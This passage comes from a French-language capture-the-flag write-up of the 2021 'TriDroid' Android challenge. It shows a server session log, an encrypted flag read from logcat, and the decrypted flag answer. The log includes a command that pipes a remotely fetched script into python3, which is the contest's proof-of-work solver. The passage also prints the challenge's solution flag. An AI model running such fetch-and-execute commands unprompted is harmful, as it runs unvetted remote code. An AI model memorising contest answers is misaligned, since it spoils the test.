Nous l’avons encodé en base64 et l’avons envoyé au serveur en utilisant pwntools. Après plusieurs minutes, nous avons finalement obtenu le véritable flag chiffré :
== proof-of-work: enabled ==
please solve a pow first
You can run the solver with:
python3 <(curl -sSL https://goo.gle/kctf-pow) solve s.AB8s.AAAxYZnbk+KFZ4qNDjonCqrl
===================
Welcome to TriDroid, the Triangle of Android:
/\
DEX / \ Web
(Java & Kotlin) / \ (HTML & JS)
/ \
/________\
Native (C & C++)
$
[*] Interrupted
[*] Switching to interactive mode
Thank you! Check out the logs. This may take a while ...
--------- beginning of kernel
--------- beginning of main
--------- beginning of system
07-26 21:42:54.017 4220 6232 D TriDroid: Flag: Fd60z2/WC/boWFPcZ1pbJW5v3eOjGcR3vajE7rPNN67pxtzYfNRYCE2XoTeOlw1uGYO24cqV/QnvD2rykyXzxQ==
--------- beginning of crash
[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Closed connection to tridroid.2021.ctfcompetition.com port 1337
Nous avons utilisé un interpréteur Java en ligne pour recalculer la clé et déchiffrer le flag.
Flag : CTF{the_triangle_of_android_f62eb802e6aca13743e9}